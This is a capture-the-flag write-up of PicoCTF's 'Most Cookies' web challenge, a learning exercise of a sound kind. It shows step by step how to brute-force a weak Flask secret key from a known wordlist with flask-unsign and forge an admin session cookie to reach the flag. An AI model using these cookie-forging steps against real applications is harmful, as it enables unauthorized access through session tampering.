🌐 Most Cookies
A detailed write-up of the Web challenge 'Most Cookies' from PicoCTF - 2021
📊 Challenge Overview
Category Details Additional Info 🏆 Event PicoGym Event Link 🔰 Category Web 🌐 💎 Points 500 Out of 500 total ⭐ Difficulty 🟡 Medium Personal Rating: 3/10 👤 Author madStacks Profile 🎮 Solves (At the time of flag submission) 6.724 solve rate 📅 Date 20-02-2025 PicoGym 🦾 Solved By mH4ck3r0n3 Team:
📝 Challenge Information
Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:65344/
🎯 Challenge Files & Infrastructure
Provided Files
Files:
🔍 Initial Analysis
First Steps
Initially, the website appears as follows:
Inspecting the cookies (given the title of the challenge), I found a session cookie:
And after trying to decode it from base64, I got the following output:
It’s highly likely that
very_auth
is the header that determines some kind of privilege for access. While reviewing the code in the attached file, I found some vulnerable parts:
1 2
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"] app.secret_key = random.choice(cookie_names)
As we can see, the
secret_key
is easily deducible if it’s taken from a list of known plain text values. Continuing to read through the function for the/display
route, I found something interesting:
1 2 3 4 5 6 7 8 9 10 11 12 13
@app.route("/display", methods=["GET"]) def flag(): if session.get("very_auth"): check = session["very_auth"] if check == "admin": resp = make_response(render_template("flag.html", value=flag_value, title=title)) return resp flash("That is a cookie! Not very special though...", "success") return render_template("not-flag.html", title=title, cookie_name=session["very_auth"]) else: resp = make_response(redirect("/")) session["very_auth"] = "blank" return resp
Indeed, if the
very_auth
cookie is set toadmin
, the page containing the flag is returned. The goal of the challenge is therefore to change ourprivileges
by forgingadmin
cookies to access the flag. After doing some research, I found this: https://www.bordergate.co.uk/flask-session-cookies/. Now that I understand how cookies are composed in Flask, we can proceed to the exploitation phase.
🔬 Vulnerability Analysis
Potential Vulnerabilities
- Weak Secret Key
- Flask Cookies Tampering
🎯 Solution Path
Exploitation Steps
Initial setup
In the article I found earlier, it mentions a tool called
flask-unsign
(https://github.com/Paradoxis/Flask-Unsign/tree/master?tab=readme-ov-file) that helps unsign Flask cookies by finding the secret key used to sign them. So, I simply installed it:
1
pip3 install flask-unsign[wordlist]
Then, I created a file
wordlist.txt
since we know the set of keys that contains the valid one used to sign the cookies. I did this directly with bash usingsed
, copying the code line from the list of keys:
1
echo 'cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]' | sed 's/cookie_names = \[\(.*\)\]/\1/' | sed 's/["],/\n/g' | sed 's/^[ \t]*//g' | sed 's/["]//g' > wordlist.txt
Now that we have everything needed, we can proceed to the actual exploitation phase.
Exploitation
The first step is to find the
secret_key
from the previously seen list that was used to sign the cookie. I can copy thesession
cookie directly withChromeDevTools
or I can also extract it usingbash
from the CLI withcurl
:
1
curl -I http://mercury.picoctf.net:65344/
Now, just copy the session cookies and use
flask-unsign
with the previously created wordlist to find thesecret_key
used to sign the cookies:
1
/home/mh4ck3r0n3/.local/bin/flask-unsign --unsign --cookie eyJ2ZXJ5X2F1dGgiOiJibGFuayJ9.Z7cV0g.c28y4sr8f_dY6pmJP5qM1fxGw_M --wordlist wordlist.txt
Once the secret key,
fortune
, is found, we can forge a new cookie withvery_auth
set toadmin
and sign it with thefortune
key:
1
/home/mh4ck3r0n3/.local/bin/flask-unsign --sign --cookie "{'very_auth': 'admin'}" --secret fortune
Once this is done and we have the forged cookie with
admin
privileges to access the flag, all that’s left is to send a request by modifying thesession
cookie value viaChromeDevTools
, with the newly forged cookie, and refresh the page (F5
). This will give us the flag.
Flag capture
🛠️ Exploitation Process
Approach
The automatic exploit makes a GET request to the page to extract the session cookies. Then, using the list of keys with which the session cookie is generated, it extracts the correct key used to sign the original cookie. Once the key is extracted, it forges the new cookie with the value set to
admin
, and sends another request to/display
with the newly forged cookie, extracting the flag from the response using a regex.
🚩 Flag Capture
Flag
Proof of Execution
🔧 Tools Used
Tool Purpose Python Exploit Flask-Unsign Cookie Forging
💡 Key Learnings
New Knowledge
I have learned how to forge session cookies with Flask.
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
📚 References & Resources
Learning Resources
📊 Final Statistics
Metric | Value | Notes |
---|---|---|
Time to Solve | 00:19 | From start to flag |
Global Ranking (At the time of flag submission) | Challenge ranking | |
Points Earned | 500 | Team contribution |
Created: 20-02-2025 • Last Modified: 20-02-2025 *Author: mH4ck3r0n3 • Team: *